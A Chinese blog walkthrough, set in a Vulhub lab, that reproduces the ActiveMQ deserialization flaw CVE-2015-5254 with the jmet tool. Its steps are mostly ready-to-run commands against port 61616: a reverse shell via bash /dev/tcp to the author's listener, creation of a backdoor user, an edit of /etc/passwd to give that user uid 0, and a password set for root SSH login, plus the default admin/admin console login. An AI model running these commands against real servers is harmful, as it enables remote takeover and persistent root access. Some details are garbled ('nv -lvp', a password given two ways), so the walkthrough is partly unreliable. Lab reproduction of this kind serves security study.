ActiveMQ反序列化漏洞复现(CVE-2015-5254)

一、漏洞描述

Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
Apache ActiveMQ 5.13.0之前的5.x的版本中存在安全漏洞,漏洞源于程序没有限制可以在代理中序列化的类。远程攻击者可以借助特制的序列化的Java Message Service(JMC)ObjectMessage对象利用该漏洞执行任意代码。

二、漏洞环境

这里的环境使用的是Vulhub的Docker环境,我们直接在搭建好的环境中,进入漏洞的目录下使用docker-compose up -d即可启动环境。

三、漏洞复现

1.首先我们访问指定端口8161查看环境:

2.我们首先梳理一下漏洞利用的步骤:

  • 构造一个重置命令的序列化对象
  • 作为一个消息发送给目标61616端口
  • 访问web管理页面,读取消息,触发突破
    3.我们需要下载jmet的jar文件下载地址:https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar,然后我们将下载的jar文件复制到kali下的opt文件中,并创建一个external的文件夹。jmet的原理是使用ysoserial生成payload并发送(其jar中自带ysoserial,无需自己下载)。


4.接着我们执行如下命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.252.170 61616

执行之后会有如下提示:

5.这时候会给我们测试目标的ActiveMQ添加一个名为事件的队列,我们可以通过访问http://192.168.252.170:8161/admin/browse.jsp?JMSDestination=event来查看队列中的消息,账户密码是admin,admin。

然后我们点击这条消息,即可执行我们指定的命令。
6.这时候我们就可以进入我们的目标主机中执行docker ps,可以查看正在运行的容器

接着执行docker exec -it 46c21c57c713 /bin/bash,这里的参数是容器id。
7.这时候我们查看tmp下的文件,发现已经创建了success

8.漏洞验证成功之后,我们来反弹shell
首先我们监听本地的1234端口nv -lvp 1234。接着执行如下命令,使靶机反弹一个shell给我们的1234端口

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y " bash -i >& /dev/tcp/192.168.252.133/1234 0>&1" -Yp ROME 192.168.252.170 61616

9.添加一个root权限的用户

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME  192.168.252.170  61616

我们在目标主机中查看,发现账户已经添加:

将passwd中的test用户的uid修改为0,使其拥有root权限。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME 192.168.252.170 61616

修改权限成功。

为我们添加的用户设置密码:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME 192.168.252.170 61616

至此我们已经创建了一个权限为root的用户,密码是123456,我们可以直接使用ssh连接。

最后修改:2020 年 08 月 26 日
如果觉得我的文章对你有用,请随意赞赏